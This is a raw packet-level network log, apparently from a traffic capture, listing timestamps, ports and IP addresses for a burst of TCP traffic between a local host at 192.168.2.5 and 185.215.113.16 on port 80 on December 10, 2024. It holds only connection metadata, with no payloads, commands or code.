Dec 10, 2024 05:47:26.425375938 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.425436020 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.426315069 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.426342010 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.426364899 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.427256107 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.427284956 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.427373886 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.428195953 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.428225994 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.428277969 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.429132938 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.429162025 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.429202080 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.430046082 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.430078983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.430201054 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.431061983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.431091070 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.431155920 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.431991100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.432025909 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.432116032 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.432952881 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.432981968 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.433034897 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.433871031 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.433896065 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.433916092 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.434046030 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.434829950 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.434928894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.435782909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.435811043 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.435888052 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.436719894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.436745882 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.436836958 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.437659025 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.437685013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.437756062 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.438044071 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.438591003 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.438730955 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.439006090 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.439579964 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.439668894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.439696074 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.440499067 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.440637112 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.441438913 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.441467047 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.441554070 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.442043066 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.442390919 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.442495108 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.443361998 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.443414927 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.443471909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.444303036 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.444331884 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.444400072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.445247889 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.445271969 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.445339918 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.445875883 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.446168900 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.446232080 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.446280956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.447165012 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.447222948 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.447294950 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.448082924 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.448136091 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.448188066 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.449019909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.449071884 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.449121952 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.449970961 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.450021029 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.450054884 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.450941086 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.450978041 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.451283932 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.451862097 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.451916933 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.451957941 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.452802896 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.452855110 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.452935934 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.453808069 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.453850985 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.453885078 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.454741955 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.454796076 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.454853058 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.455667973 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.455722094 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.455776930 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.456614017 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.456656933 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.456727982 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.457562923 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.457664013 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.457966089 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.458501101 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.458555937 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.458606958 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.459471941 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.459525108 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.459575891 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.460519075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.460561037 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.460642099 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.461360931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.461405039 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.461446047 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.462301970 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.462348938 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.462405920 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.463279963 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.463329077 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.463403940 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.464235067 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.464294910 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.465117931 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.465147972 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.465214014 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.465226889 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.466068983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.466113091 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.466192961 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.467025995 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.467086077 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.467118979 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.467981100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.468027115 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.468081951 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.468921900 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.468981981 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.469157934 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.469881058 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.469970942 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.470484018 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.470829010 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.470885992 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.470890999 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.471766949 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.471821070 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.471848011 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.517153978 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.635574102 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.635587931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.636317015 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.636344910 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.636358976 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.636950970 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.754849911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.754863977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.754925013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.755461931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.755485058 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.755573988 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874000072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874036074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874205112 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874217033 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874227047 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874238014 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874238014 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874248028 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874258995 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874264956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874275923 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874286890 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874289989 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874296904 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874304056 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874314070 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874315977 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874325037 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874335051 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874339104 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874346972 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874375105 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874562025 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874572039 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874581099 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874588013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874592066 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874605894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874617100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874617100 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874625921 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874640942 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874669075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874680042 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874691010 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874694109 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874701023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874710083 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874720097 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874721050 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874732018 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874735117 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874742985 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874742985 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.874752045 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.874773979 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875219107 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875390053 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875401974 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875555992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875566006 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875580072 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875582933 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875593901 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875607014 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875624895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875636101 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875643969 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875652075 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875654936 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875664949 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875674963 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875678062 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875684023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875695944 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.875695944 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.875709057 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876442909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876452923 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876463890 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876466036 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876473904 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876483917 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876493931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876502991 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876513958 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876523018 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876538038 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876538992 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876549959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876559973 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876570940 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876574039 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876580954 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876580954 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876590967 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.876607895 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.876744986 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.877357960 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877368927 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877379894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877388954 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877398968 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877408028 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877418041 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877427101 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877438068 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877448082 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877458096 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877466917 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877476931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877486944 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877496004 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877506018 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.877922058 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.878093958 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878283978 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878293991 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878305912 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878317118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878328085 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878338099 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878348112 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878356934 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.878360033 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878371000 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878381968 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878392935 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878403902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878407001 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.878407001 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.878413916 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878424883 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.878427982 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.878448009 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879040003 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879055977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879065990 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879067898 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879077911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879131079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879131079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879328012 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879339933 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879348040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879359007 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879376888 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879386902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879396915 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879403114 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879409075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879419088 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879422903 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879430056 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879440069 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879450083 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879455090 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879462004 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879473925 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879475117 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879486084 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879498959 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.879498959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879509926 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.879522085 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880105972 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880105972 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880211115 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880234957 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880247116 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880259037 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880270004 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880284071 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880286932 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880302906 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880314112 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880325079 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880325079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880336046 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880347013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880347013 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880357981 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880367994 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880373001 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880381107 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:26.880393982 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:26.880410910 CET	49723	80	192.168.2.5	185.215.113.16
